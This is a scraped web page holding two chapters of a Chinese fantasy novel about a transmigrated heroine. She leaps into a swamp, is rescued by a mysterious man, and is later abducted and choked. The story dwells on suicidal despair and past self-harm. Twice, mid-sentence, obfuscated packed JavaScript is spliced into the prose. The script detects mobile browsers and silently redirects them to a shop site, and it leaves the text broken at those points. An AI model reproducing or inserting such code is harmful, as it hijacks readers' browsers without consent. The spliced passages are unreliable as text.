她走上前,打量着那口缓缓翻涌的黑潭,眉头越皱越紧。这潭里的淤泥让她想起前世看过的一部纪录片——沼泽地,那些沉入泥炭层的尸体千年不腐,皮肤变成皮革,骨骼被酸性泥浆慢慢消解。 拓石凭记忆背诵道:“《愚缘游志》有载,雨虹山乃性灵依归之所,可尽去尘杂之气。外物浊气,则汇聚于此……” 跃然打断他:“愚缘是什么人?他的书可信吗?” 拓石沉默了一瞬,嘴角浮起一丝极淡的苦涩。“愚缘乃先王时期之巫祝,因妄言‘灵宙非福’被逐出王宫,冻饿死于雨虹山脚。” “一个被你们王家逼死的人,他的话你信?”跃然立刻接道,“我猜,这根本不是什么圣典——这更像是他留给你们王室的诅咒。他死前写的每一个字,都是为了让你们这些姓宇文的自己走上绝路。” 拓石没有反驳。他只是将目光从跃然脸上移开,重新落回那口翻涌的黑潭。 “跃然莫怕。待我先去灵宙,你便可知——”他看向不远处的拓云,声音沉了下去,“若我果不能生还,还望你留住灵气,护拓云回王宫。拜托。” “大哥莫要胡言!”拓云瞬间意识到了事情的严重性,上前死死拉住拓石,声音里已经带了哭腔,“拓云要跟着大哥!大哥不能出事!” 跃然看着拓云那张被恐惧扭紧的小脸,又看了看拓石那副视死如归的平静神情。一股说不清的愤怒从胸中涌上来——不是对拓石的愤怒,是对命运本身。凭什么一个十三岁的孩子要再一次眼睁睁看着哥哥去死?凭什么她又要站在这里,无能为力地看着这一切发生? 她想起自己十岁那年,妈妈从阳台纵身一跃之后,她一个人蹲在楼道口的那个傍晚。那种什么都做不了的绝望,她尝过。她不能让拓云再尝一次。 “你确定这里能洗去灵宙?”跃然盯着拓石的眼睛。 “王典所载——” “我问你确定不确定。” 拓石沉默了。 跃然不再看他。她转身向洼地边缘走去,走到一棵姿态扭曲的古树前。树干上缠满深褐色老藤,树皮湿冷滑腻。 她伸出手,轻轻覆上了树干。 就在指尖触到树皮的瞬间,掌心忽然一热。不是体温——是某种东西从她体内被抽了出去,顺着指尖灌入那棵树。快得她来不及反应,像一滴水□□渴的海绵瞬间吸走。 那棵古树猛地颤了一下。 然后,一片叶子黄了。又一片。树枝上的老叶以肉眼可见的速度从深绿褪成枯黄,从枝头脱落。 藤蔓上的结松开了,干枯的老藤从树枝上滑落,摔在地上断成几截。树干上出现了一道裂缝,裂缝里没有树液渗出——里面是空的,干的,像一棵已经死了很久的树。只不过,直到她的手指触上去之前,它还在假装活着。 跃然猛地收回手,踉跄退了一步。她低头看着自己的手掌,掌心被粗糙的树皮蹭破了一块皮,渗出了浅浅的血迹。但伤口边缘的皮肤正在微微发热——不是疼,是某种她说不清的能量在轻轻跳动。她甚至能感觉到,掌心的伤口正在以她能感知的速度愈合,连红痕都在一点点褪去。 这具身体,似乎比她这个灵魂,更想活下去。 就在这一瞬—— 一股截然不同的气味,像一头被惊醒了的地底恶兽,从那棵枯死的古树根部猛地炸裂开来。 那是硫化氢特有的臭鸡蛋味,是甲烷的刺鼻,是腐败物在无氧环境下被分解时释放出的冰冷而尖锐的金属腥气。这些气味被压抑了太久,此刻从阵法的缺口中决堤而出,排山倒海地灌入三个人的口鼻。 “什么味道——”拓云第一个叫出声来,捂着鼻子往后退。 拓石的脸色骤然变了。 他闻到了。那股恶臭冲破了他鼻腔里被清香麻痹的嗅觉,像一盆冰水从头顶浇下,把他所有刻意不去深想的疑点浇得清清楚楚。那些古树的排列、藤蔓上的结、过于均匀的清香——它们一直都在,他只是选择不看。 “是沼泽。”跃然的声音在恶臭中响起,因为生理性反胃而微微发颤,但每一个字都清晰得像刀子,“这底下是几十尺深的腐泥和沼气。这些树是人工种的——每一棵的位置、藤蔓的结法、香气的浓淡,可能都是阵法。它们把沼泽的臭味封住了,等着一个心甘情愿求死的人自己走进去。不费一兵一卒,干净,彻底。” 她看着拓石的眼睛。那双眼睛里,淡漠正在碎裂。 “你还要跳吗?” 拓石站在潭边,一动不动。他的肩膀在微微发抖——不是怕,是一种从骨头缝里渗出来的、彻骨的寒。 “那又如何。” 跃然愣住了。 拓石的目光缓缓扫过那片姿态扭曲的古树林,“因我而起,便由我而终吧。” 他收回目光,看向那口仍在翻涌的黑潭,声音忽然变得很轻。 拓石淡淡地笑了笑。那笑意很冷,却冷得坦然。 “我二弟虽性格暴戾,亦怀野心,但终究也是个苦命之人。我知他想毁掉一切父王珍视之物。灵宙也罢,我这命定的熙坤王也罢。然——王典所载并非全然为虚,灵宙确实可在此洗去。万一这浊泉为真呢?万一跳下去,一切便结束了呢?我已欠下七十八条人命,再多欠一条我自己的,不算亏。” 他转向跃然,眼神平静得像一潭死水。 “我知你所想。但我已不在乎是陷阱还是真泉。只要有一线希望洗去灵宙,我愿以命试之。” 沉默。 山顶的风把古树的枝丫吹得吱嘎作响。那股恶臭与残余的清香搅在一起,变成一种说不清的诡异气味。拓云站在那里,看看大哥又看看跃然,小脸上的表情像是天塌了一个角。 跃然深吸了一口气。 她明白了。劝是劝不动的。不是拓石傻,是他太清楚——清楚到心甘情愿。 拓宏恨他,他知道;浊泉可能是陷阱,他知道;连这片古树林的阵法和那股掩盖真相的清香,他都看在眼里。但他依然选择了闭着眼往里跳。因为他欠的债太重,重到连命都不够还。 和这种人讲道理,是没用的。 “好。”她忽然说。 拓石一怔。 “你说我是神主。你说神主有清灵护体,自生能力极强。”她指着那棵已经彻底枯死的古树,又摊开手掌,露出掌心那道已经只剩淡淡红痕的伤口,“你看——我碰了一下,它就死了。我还站着。我身上的能力——我不完全理解它,但你亲眼所见,它存在。” 她顿了顿,回头看了一眼拓云,他正死死攥着拓石的衣袖,眼眶通红。 “你死了,拓云怎么办?他才十三岁。已经没了拓夏,没了母后。你还要让他看着自己最后一个哥哥死在眼前吗?” “跃然——”拓石的声音第一次有了裂痕。 “别说了。”她抬手止住他,目光重新落回那口翻涌的黑潭,“如果非要有一个人去试,那也应该是我。我有神力保护,而且拓云需要你这个哥哥。” 她顿了一下,声音忽然变得很轻,像是在对自己说一个迟到太久的答案。 “而我——我没有人等,也没有人等。” 话音落下,她没有给任何人反应的时间,纵身跳进了那口翻涌的黑潭。 不符合非牛顿流体,她被迅速吸入。 淤泥比她想象的要冷。 不是水的凉,是一种从骨头缝里往外渗的阴寒。泥浆瞬间没过她的膝盖、腰、胸口,像是无数只冰冷的手把她往下拖。她下意识地张口想喊的瞬间,淤泥立刻灌入口鼻,堵住了所有的声音。 黑暗。无边的、黏稠的、吞噬一切的黑暗。 她开始窒息,泥堵住了所有能呼吸的通道,胸口像被一块巨石压住,每一次想要吸气都有更多的淤泥涌进来。她想吐,却只能一口一口地把泥咽下去。鼻中也灌满了,呛塞让她本能地挣扎,但越挣扎,陷得越深。 耳边的声音渐渐远了——拓云撕裂的尖叫、拓石喊她名字的嘶吼——都被黑泥吞没,像是隔着一层厚厚的墙。 最后只剩她自己粗重而无效的喘息,还有沼泽深处那低沉的、咕噜咕噜的气泡声。 然后是彻底的死寂。 窒息并没有让她昏迷。她的意识异常清晰,清晰到能感知每一秒痛苦的细节——心跳越来越快,越来越重,像要把胸腔撞碎。四肢无助地在泥浆中翻滚搅动,找不到任何依傍。 然后她看到了。 妈妈。在那个阳台上,裙摆被风吹起来。她没有跳——她站在那里,回过头,看着跃然。那张脸和记忆里一模一样,精致的、绝望的,嘴角挂着一丝不知是哭还是笑的表情。 妈妈。妈妈你为什么不抱我一起跳下去。妈妈你知不知道我一个人有多怕。 沈煦。他在楼下等她。手里没有离婚协议,而是捧着一个冒着热气的烤红薯,傻傻地笑。风很大,他缩着脖子,把红薯往怀里护。那件青白的衬衫被风吹得鼓起来。他抬头看她,嘴唇在动,像是在说——然然,外面风大,多穿件衣服。 她想喊。想喊妈妈不要走,想喊沈煦你为什么不肯解释。但她喊不出来。她的喉咙被淤泥堵死了,她的声音在胸腔里来回撞击,一个字都冲不出去。 那些她以为已经咽下去的东西——被遗弃的恐惧,被背叛的羞辱,被抛下的孤独,对死亡最原始的恐惧——此刻全部翻涌上来。不是回忆。是活生生的、有温度的东西,像一把把钝刀,一刀一刀剜着她的心口。 她曾以为失去沈煦后万念俱灰,所以可以无畏赴死。割腕、撞树、跳楼,只要能死她都愿意尝试。但此刻她才明白——她可以忍受饥饿,可以忍受疼痛,但她不能忍受恐惧。死亡的恐惧。这种无边的、黏稠的、将她一寸寸吞没的恐惧。 “救命……救命……” 终于,她开始在心里呼喊。 “救救我……妈妈……沈煦……” 谁能救救她?在这死亡的包裹中,她终于哭喊出声。她的身体在泥潭中翻滚,没有一秒钟能找到依傍。只是不断地挣扎,不断地沉没,接受着死亡一寸寸吞噬自己的惩罚。 意识像一根蜡烛,火苗越来越小,越来越暗。 就在即将熄灭的那一刻—— 一只手。 一只温热的、有力的、坚定的手,穿过那无边无际的黑暗与寒冷,一把攥住了她即将彻底沉没的手腕。 那力道不粗暴,但不容抗拒。像是等了很久,像是找了很久,像是从另一个世界一路追过来的。 然后她感觉自己被向上拉。淤泥从她身上剥离,黑暗从她眼前退开。那只手松开她的手腕,转为紧箍住她的腰,另一只手则奋力向上收紧绳索。 眼前骤然变亮。但淤泥已经将她全身包裹,充塞了七窍。她像一个被套住了头的溺水者,整个身体本能地抽吸却得不到一丝氧气。浑浊、眩晕、窒息——她觉得自己快要炸开了。 她双手死命地抓扣着紧抱自己的身体,指尖深深陷入那人的皮肉之中。那身体先是绷紧了一瞬,然后舒缓放松,任她抓着。 那身体给她的感觉,太过熟悉,熟悉到她的泪夺眶而出。 她的手指在挣扎中无意间划过那人肋骨处——那里有一道凸起的旧疤,很长,从肋骨一直延伸到腰侧。 指尖触到那疤痕时,她的身体本能地颤抖了一下。 不是因为冷,是一种她说不清的东西——那道疤她却不认识,四年的夫妻,沈煦身上没有这道伤。 但这具身体似乎对它有一种超越记忆的、埋藏在更深处的反应,像一颗心被什么东西轻轻敲了一下,很闷,然后归于沉寂。 她来不及细想。身体被悬空翻倒,胃部被硬物一格。 “呕——” 淤泥顺着口鼻喷出,呛痛难忍。她剧烈地呕吐,把灌进胃里的污泥一口接一口地吐出来,直到吸入第一口空气。 那空气灌入干涸的肺叶。她仰面躺倒,大口大口地喘气,心跳像失控的鼓槌疯狂敲击胸腔。眼泪冲出眼眶,冲洗着被淤泥灼痛的双眼。 她终于大哭出声。 不是小声的啜泣,是嚎啕大哭。像委屈,像恐惧,像婴儿的初啼。前世割腕的痛算什么?这才是死亡真正的滋味。她终于体验到了。 男人用袖口简单擦掉自己脸上的淤泥,轻轻将哭泣的跃然抱起。跃然死死抓住他的衣襟,小小的身体顺势蜷进他的怀里。 这个气息。这个怀抱。她太熟悉了。无数个失眠的深夜,她枕着这个气息入睡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632073|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四年婚姻,他每天出门前会用这个力道抱她一下——不重,但很稳。稳到她以为这辈子都不会松开。 男人猛然将怀中的她抱得更紧了。他疼惜地用一只手抚摸着跃然深埋进怀中的头,另一只手托着她瘦小的后背。跃然双手环抱住男人梗直的脖颈,贪恋地汲取着那份温暖。 那么安全的感觉。 她模糊地睁开眼。男人棱角分明、黝黑刚毅的侧脸映入视线。不是拓石。这人的样子很陌生,但那气息和感觉,却又如此熟悉。他抱着他奔跑,速度很快,像是又一次穿越般,所有感官都在风声中流转。 她刚要开口,身体已被放入一潭温暖的池水中。 “不……不要!” 她死死搂住男人的脖颈不肯松手。刚才那无边的窒息和恐惧还牢牢攫着她,她不能再来第二次。 “此乃温泉,莫怕。” 男人的声音很柔,柔得像在哄一个易碎的梦。但跃然仍然哭喊着不肯放手。男人轻叹一声,栖身下水,将她重新搂入怀中。 他帮她一点点洗净身上的泥污,擦净她嫩白的脸,轻柔地冲洗她的耳鼻。池中的泉眼不断有暖流涌出,热气的氤氲让跃然看不清周围的事物,只能感觉到怀抱着自己的男人结实的肌肉和有力的心跳。 慢慢地,她在那个怀抱里沉沉睡去。意识坠入黑暗前,她听到男人叹息般地说了一句话。很轻,像怕吵醒她,又像怕说完了就再也没有机会。 “别再寻死了,求你……” 她想抬头看清男人的脸,眼皮却沉重得再也抬不起来,只能坠入深睡。 “跃然!跃然!你醒醒!” 跃然被摇晃醒了。拓云焦虑担忧的小脸出现在眼前。此刻她正躺在一张简陋的木床上,床板有些硬,但全身干爽,除了鼻口有些干涩,已没什么不舒服。 “你大哥呢?” “大哥被大侠叫走了。”拓云见她醒了,兴奋劲儿立刻挂满了脸,“跃然,你有没有哪里不舒服?昨天怎么那样任性,一个人冒那么大的险!” 跃然没有回答。她撑着床板坐起来,脑海中那个模糊的侧脸和坚实的怀抱挥之不去。 那个气息,那个力道,手指无意间划过的那道旧疤——她从未在沈煦身上见过那道疤…… 可为什么,指尖触到它的那一刻,她的身体会不由自主地颤抖?为什么她的胸口会泛起一阵莫名的心酸? 她不敢细想。 “大侠是谁?昨天到底怎么了?” “大侠就是大侠啊!他不肯告诉我们姓名。他功夫可厉害了,是他救了我们!”拓云的小脸上全是敬慕,“原来浊泉是不能随便闯的!你跳进去以后马上就陷进去了,哥哥想去拦你已经晚了,跟着也跳了进去,然后你们就都不见了。我一着急也跳下去找你们,就在快沉的时候,大侠来了。大侠的仆役把我们救醒的时候,大侠已经带你去清泉了。” “大侠在哪儿?带我去见他。”跃然边说边起身,赤着脚向门口奔。 “跃然,你没穿鞋子呢……”拓云跟在后面喊。 刚走到门口,迎面撞上拓石。 “那个人在哪儿?”跃然劈头就问。 “已去远矣。” “去哪儿了?” “象州。” “走多久了?” “不必追了。他说有缘象州必会再见。” “他叫什么名字?” “他不肯透露。” “他长什么样子?” “呃……” “到底什么样子?” “……” “他说什么了?”跃然的声音发紧。 拓石沉默了一瞬。那个男人的话,一句一句,都像是专为跃然准备的。而他,只是转述的工具。 “他说,神主非可永生,而能救苍生。死生共存,相对而生,均为生命存在之常态,轮回永恒。人虽运数不同,命运有殊,苦乐均等,皆源于心境。莫要再以死亡逃避——死不能解决任何事。” 跃然冷笑了一声。这样的话,于她有什么意义。 拓石看着跃然紫眸中沉郁的伤痛,心底被狠狠戳了一下。但他还是继续说了下去。 “他说——若你心中尚有怨恨,象州婉亭,负你之人任由发落,切勿再糟蹋自己的性命。” 跃然浑身一震。 “他还说什么?” 拓石深吸一口气。最后那句话,他转述得很轻,像是怕惊扰了空气中的尘埃。 “死生契阔,与子同悦。你的名字,本叫悦然。” 跃然猛地后退一步,像是被人当胸打了一拳。 “死生契阔,与子同悦”——那是婚礼上她对沈煦的誓言。而他说:“从今天起,黎跃然,你的名字就是黎悦然!愉悦、安然!我要让你从此无忧无虑,做世界上最幸福的女人……” 她的泪无声地滑了下来。不是愤怒的泪,不是怨恨的泪。是一种更复杂的东西——被救之后无处安放的感激,四年来从未断过的隐秘思念,还有那份始终没有机会当面质问的不甘。 可就算见了,又能怎样?质问他为什么背叛?质问他为什么追到这里?质问完了呢?能回到从前吗?能当作什么都没有发生过吗? 不能。什么都不能。 她转过身,背对着拓石和拓云,肩膀在微微颤抖。 “跃然,你去哪儿?”拓云见她要往外走,连忙拉住她。 她甩开手,声音很轻,却像一块终于落地的石头。终于,所有的情绪如潮水般退散。 “不去哪儿。” 她抬起头,看着门外那片陌生的山林。山风穿过树梢,沙沙作响。 “他救了我,我很感激。”她顿了顿,一字一句,说得极慢,像是说给自己听,“但我这辈子,最不想见的人,就是他。” 说完,她径直向前走去。 不去象州。不去质问。也不去原谅。 她只是想找个安静的地方,像个人一样,好好——活下去。 拓云从后面追上来,一手拉住拓石的衣袖,一手扯住跃然的衣角,左看看右看看,终于破涕为笑。 “那我们去哪儿?大哥,跃然,我饿了。” 跃然脚步一顿。没有回答,但嘴角极轻微地勾了一下。 阳光从云隙间漏下来,照在山道上,把湿漉漉的石板镀上一层淡金色。几只蓝斑彩蝶从灌木丛中飞起,绕着她飞了一圈,又散入林间。 她深深吸了一口山间的空气。那空气里有泥土的气息,有草木的气息,有远方云雾的气息。没有前世那个城市的尾气,没有那间客厅里薰衣草蜡烛的甜腻,没有殡仪馆里怎么散都散不去的消毒水味。 是新的空气。是她差点在沼泽里失去的、重新回来的空气。 身后,拓石站在原地,望着她的背影。山风把他的衣袍吹得猎猎作响。 他想起那男人临别时的话——灵宙随心——那是他第一次听说,灵宙并非只能被洗去,也可以被驾驭。他还想起了另一句话:你需将跃然安全送至象州,她若有闪失,曦宇国所有的生灵将为她陪葬。 那是威胁。但他隐约觉得,那威胁背后,不是对曦宇国的觊觎,是对这个女孩的执念。一个可以和整个国家放在天平上称量也不肯放手的执念。 他没有把这句话转述给跃然。现在不是时候。 他走到跃然身边,没有问她要去哪里,没有说“象州在那边”。他只是在山风里站定,然后开口,语调恢复了熙坤王该有的沉稳。 “不论你去往何处,我必护送。” 跃然没有回头。但她的步子停了一瞬。 “我不知道去哪里,就想,走走。”她轻声说。但,方向不是象州。 脚下的路还在延伸。阳光很好。 在这个时空,她突然,想要停留下来,旅游、散心、放逐,怎样都好,因为,心,好像不那么空了。 10. 拼死一战 死并非生的对立面,而是作为生的一部分永存。 ——村上春树《挪威的森林》 下山的路,比来时沉默得多。风里裹着腥气,是泥土掩不住的、生机溃散的味道。 来时的鸟鸣野果荡然无存。乱石荆棘间,隔不远便卧着一头灵豕的尸骸。灰黑鬃毛在风中微颤,浑浊的兽瞳兀自大睁,獠牙惨白地龇出,僵硬的身躯蜷缩着,似在临死前仍做徒劳的挣扎。 拓云走在最前,每遇尸骸便猛地低头,加快脚步绕开。走出一段,又忍不住回望,唇瓣翕动,终是咽下了声响。 跃然走在最后,步履愈沉。 枫树下那群灵豕用湿热的鼻尖将她一只只碰醒,她以为寻到了活下去的凭据——被需索,被辨认,被宽恕。可眼下,那些渡她出苦海的生灵横尸遍野,每一具残躯都在无声叩问:你是神主,你饮了胎神汤,你坐视它们劫灭。满山血债,将心头那点微光扑得寸草不生。 她蹲下身,探出手,想替一头小豕合上那死不瞑目的眼。但太多了。刚合上一双,前方还有,再前方还有。业障如山,压得她指尖发抖。 "跃然,"拓石驻足,嗓音沉黯,"放下吧。已无力一一掩埋矣。" 跃然蹲在小豕旁,手悬半空,没有回头。"就这么放着?" "天葬。雨虹山灵禽自会渡它们一程。此乃山规。" 跃然沉默良久,撑着膝站起,腿软得险些跌倒。她没再停,也没再看,只行尸走肉般向前赶路。不是不想,是不敢——再看一眼,便永远走不出这座山了。 道旁枯枝划过脸颊,留下一道细长血痕。荆棘勾破裤管,扯出好几道口子。她浑然不觉,只垂着头一步步挪。细密的血珠渗出,衬得那张脸惨白如纸。 拓云瞧见她这副模样,眼眶倏地红了。他冲到跃然身前,背过身弯下腰:"跃然,上来,我背你走。" 跃然没应声,也没停步,木然地绕过他继续走。 "跃然!"拓云追上去,声音已带了哭腔。 一路无言的拓石突地顿步。他回身,望着立在山道中央的跃然——神魂涣散,满脸血丝,裤管残破,整个人如一具被抽去灵脉的傀儡。那双紫瞳黯淡得蒙了尘灰。 他大步上前,俯身将她横抱入怀。跃然未做丝毫挣扎,只安静蜷着,脑袋靠在他肩上,眼眸半阖。 这不知自惜的女子,或许只有禁锢在怀中,才不至魂飞魄散。 拓石心中默然一叹,未发一语。那些豕群的尸骸,每一具都是扎在她心口的剔骨刀。言语抚不平这等创痛。她需要时间,如同他们之于拓夏。 途中歇息数次,皆以野果充饥。跃然始终如泥塑木雕,递来便吃,不给亦不求。沉默如寒冰封湖。 日落时分,雨虹山脚在望。 三人步出山外迷雾,齐齐顿步。 雾霭之外,玄甲铁骑森然列阵,鸦雀无声。数百人的军阵,竟听不到一声马嘶人语。黑压压的方阵如玄铁壁垒,堵在出山必经之路上。 跃然在拓石怀中微颤,被这股铁血威压惊得回神,紫瞳底处掠过一丝清光。 蹄声铿然,军阵向两侧裂开。一匹精壮乌骓踏碎暮色,昂首而出。马背上少年目力迫人,双眉如剑入鬓,阔额峭颌,薄唇紧闭。玄色大氅猎猎翻飞,暗红束带飘荡脑后,通身无玉无佩,唯腰间悬一柄长剑,孤绝傲岸。 跃然目光落去。少年不过十五六岁,可那双眼太深,似枯井,似寒潭,不见底。但她灵觉敏锐,自那彻骨冷意中感知到了别的东西——那冷并非嗜杀的戾气,更像一层凝作冰壳的剑意,死死封镇着内里的什么。他通身防备,将自己与天地隔绝得密不透风。 少年凌空翻身下马,缰绳甩给侍卫,徒步行至距拓石十步处,止步。 "拓宏,见过王兄。"面带浅笑,抱拳施礼,语调却疏离如宣读诏令。 拓宏视线掠过拓石,终是落向他怀中的跃然。紫瞳! 莫非,拓石的毒已解? 然而下一瞬,他便捉到了那双紫瞳里的死灰——非是惧怕,而是生机断绝。那绝非十岁孩童该有的眼神,那是历劫求死之人,才会生出的枯槁。 那绝望,他见过。母妃陨落那些年,他在寒潭照见过同样的死相,那是彼时的他自己。拓宏的心猛然一痛。 他收回目光,面上不动声色,心底却如静湖投石。 "请王兄回宫。"拓宏敛起笑意,垂首深施一礼,气势迫人。 拓石声线冷硬:"吾已将印信封入浊泉。从今往后,熙坤王再无命定。" 拓宏心下冷哂。浊泉毁根灭性,若真入泉,灵宙早该崩散。王兄灵息如故,分明未曾入泉。但他未予拆穿,只上前一步,再施一礼,不容置喙:"请王兄速回。" "二弟请回。"拓石语气骤寒。 "父王病重,请王兄速速回宫!"拓宏再逼一步,单膝跪地,双拳紧抱,冷硬声线里猝然裂开一丝焦灼。 拓云自拓石身后抢出:"父王病了?" 拓宏抬眼望向拓石,眸光微澜:"王兄出宫十日,父王咳血七夜。" 拓石身形剧震,退了半步。良久,他闭上眼,声若碎冰:"备车。回宫。" "是。"拓宏起身侧让,"王兄,请。" 拓石抱紧跃然迈步。跃然缓缓抬眼,正撞入拓宏那双寒星般的眸子。她本能瑟缩,却未躲闪。那目光无恶念、无杀机,只是一种极度克制的探究,似要自她这具枯木般躯壳里剔挑出什么因果来。 拓宏亦在辨她。那双紫瞳里没有寻常孩童见军阵的惶恐哭闹,唯余一片死寂的倦怠。他想起拓夏——八岁的拓夏见甲士,总爱躲在人后偷瞄,眼珠灵动。可这女孩的眼底,连光都不愿落进。 "跃然莫怕,此乃你二哥,宇文拓宏。且随我先回宫。"拓石低头温言,复又望向拓宏,"二弟,此乃义妹跃然。"言罢径自登车。 义妹。拓宏垂眸,心口如被细针挑过。 昔日拓夏和亲,也是被王兄这般护着。那时拓夏回头喊的不是父王,不是王兄,是"二哥"。如今王兄怀中护着新的义妹,而他的拓夏,已埋在大漠黄沙深处,尸骨无寻。 拓云紧随登车,经拓宏身侧时目不斜视。对这个二哥,他素来无话。 车马辚辚,铁骑开道。拓宏策马随行于王车之侧,目光穿透车帷,凝在那一抹紫影之上,疑云愈重,薄唇紧抿成刃。 车厢内,夜明珠散出幽柔光韵。拓云拂去壁上黑绢,急急凑近软榻:"跃然,你可好了些?" "去哪儿?"跃然意识慢慢回笼,她问向拓石。 "回宫。"拓石递过温水,"父王病危,吾须即刻还宫。你且安心,待宫中诸事妥定,吾必亲送你往象州。" 跃然垂眸,盯住杯中摇曳的波光。 象州。那个救她出浊泉的人去了象州。他说负她之人任由发落。他说她的名字本叫悦然。可她如今这副业障满身的残破模样,拿什么去见他?不想。 她只想寻个无人的角落放逐。可下了山才知,天地间竟无她容身之所。但凡活着,便要牵连旁人受苦。 "放我下车。我不去王宫。" "跃然!你一个人太危险了!"拓云一把攥住她。 拓石默然。他凝着那双紫瞳,看穿了里头绝非倔强,而是深不见底的自我厌弃——觉着自己不配再得庇护。他断不能放她走。 浊泉之中,是她纵身替他赴死;清泉之畔,是那位大侠将她从鬼门关拉回。他答应要护送她,无论她想去哪里,然而,不是现在。 "跃然。"拓石的声音稳如磐石,却藏了丝此前未有过的执拗——不是王者的威压,是一个已眼睁睁看着太多人离开的人,终于忍不住伸手挽留。 "你于雨虹山顶以命相救,于我宇文拓石有再生之恩。如今你伤骨未愈,心神未定,若任你孤身流落,吾此生难安。且随吾回宫。待诸事了结,必亲送你往象州。若届时你仍不愿留,吾绝不强留。" 跃然抬眸。拓石未避她的目光,亦未多言,只是静静等。 跃然垂下眼,不再言语。她在想怎么在他们不注意时独自离开。 转眼车马到达一处驿站。驿站院内,夜风肃杀,吹得面上划痕隐隐作痛。 骤然间—— 紫芒划破长空,如流星坠地。一道紫影自九霄飘落,稳稳立于跃然身前。紫袍如雾翻涌,长发倾泻,一双墨蓝眸子于夜色中淬着幽光,周身灵压激荡,逼得院中烛火齐齐一暗。 "小妖孽,可找到你了!跟我回家。"男人滑润的嗓音裹着鬼魅般的亲昵。 跃然浑身汗毛倒竖。小妖孽?这称呼——这身体的主人认识他。还没来得及反应,一只手臂已揽住她的腰,将她凌空掠起。 "放下她!"拓石、拓云、拓宏三人的声音几乎同时炸开。 拓宏的声音甚至比拓石快了半拍。 他不知道自己为何这般急切——看到那紫衣男人揽住跃然的瞬间,身体比理智先动了。 但已来不及。紫衣男人带着跃然掠上屋顶,箭矢如雨散落,却未曾触到半片衣袂。太快了——那不是快,是另一种层次。拓石和拓宏双双跃上屋脊时,月光下只剩一道残影。 "就凭他们,想拦我?小妖孽,你的帮手,不够哦!"男人放肆的笑声回荡在庭院中。 拓宏站在屋脊上,望着那道消失的紫影,握剑的手慢慢收紧。 方才那一瞬他已经看出来了——这不是凡间的武功,是某种他无法理解的力量。但他没有犹豫太久。 彼时院中,拓石急火攻心再度毒发。拓云的哭喊很是刺耳。拓宏不耐地从怀里掏出一个瓷瓶,朝拓云砸去,随即在拓云的呆愣惊喜中转身跃下屋脊,对梧冲庭做了个手势。 片刻后,一名黑衣人无声落于他身后。 "主上,他们在城西野苑。" "围。要活口。"拓宏的声音恢复了冷定。他顿了顿,转向暗处的梧冲庭,"梧叔,你怎么看?" "黑发紫眸,妖气甚重。"梧冲庭的声音从暗处传来。 "妖气?"拓宏唇角浮起一丝冷笑。他举步出了内室,翻身上马,率一队梧卫向野苑疾驰而去。 城西野苑。 魅绝殇身形一闪,掠入一处僻静宅院。他松开捂在跃然嘴上的大手,低头去看那张吓得惨白的小脸:"小妖孽,这些天你躲哪儿了?"怎么脸上这么多伤?他皱起狭黑的长眉,心疼地伸手去摸跃然脸上的划痕。难道这次封她神力真的伤到了她? "你是谁?为什么抓我?"跃然退后几步,双手扶着翻腾欲呕的胃,急急喘息。方才那一阵飞掠太快了,几个起落便到了这宅院,她被捂着嘴一路颠簸,差点背过气去。 "小妖孽,几天不见,你不会变这么虚弱吧?"魅绝殇嘴上戏谑,但看她苍白的模样心里还是一疼。他拉起跃然的手臂,轻按脉门,一道锐气送入她体内。 "啊——"跃然痛呼着跪坐在地。这道气太锋利了,如一把匕首要豁开经脉,瞬间痛彻全身,身体不由自主地抽搐痉挛。 魅绝殇双眸一惊,急急收回玄劲。怎么会?他的小妖孽怎么可能连这点玄劲都经受不起!他连忙将她抱入屋内,再输真气帮她稳住心脉。闭眼输力再探——还是没有。内力、灵力、连最基础的护体气息,全都不见了。 "小妖孽!你怎么了?告诉绝殇哥哥,谁把你害成这样?"魅绝殇死命摇晃着瘫软在床上的跃然,而后紧紧将她箍入怀中。冰蓝的眸中噙满泪水,"你说,谁把你弄成这样?是谁?绝殇哥哥去给你报仇!" 跃然被箍在他怀里,感受着他胸膛传来的震颤。这个男人的悲伤太浓了,浓得像一池深不见底的水。他身上有一股清泉的气息,悲痛时周身似有水波荡漾。 那是属于这具身体的记忆——不是她的记忆,是骨骼和血液里的本能。这身体认得这个怀抱。 "我想,她——已——经——死了。"跃然颤声回答。不知为什么,在他紧拥的怀抱里,她觉得心里酸楚悲痛,不知不觉泪水也滑下了脸庞。或许,她只是在替这具身体,说那句还没来得及说的告别。 魅绝殇怀抱中的身体突然一僵。然后他将她抱得更紧,声音里带着不肯承认的哭腔:"小妖孽,对不起。绝殇哥哥错了。绝殇哥哥不该用封印神力惩罚你!你别说气话。我的小妖孽怎么可能死呢!你别玩了,不许这么吓哥哥!" "你的小妖孽恐怕三天前,在雨虹山下,已经死了。"跃然轻声说。 魅绝殇猛地推开她,细细打量她的脸。那冰葡萄般的大眼睛依然紫华闪烁,却不见了俏皮灵动,变得沉静哀婉。那红樱桃般的小嘴依然微微张启,却不再嘟嘟翘起,而是轻声叹息。那嫩竹笋般的小手依然纤巧润泽,却不再冰冰地探进他的衣襟嬉闹,而是紧握成拳自卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632074|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她,真的不是他的小妖孽。 "你是谁?我的小妖孽在哪儿?你把她怎么样了?"魅绝殇双手紧紧掐住跃然的脖颈,目光变得森冷狠绝。 "咳咳……"跃然被掐得干咳,眼睛慢慢憋红了。 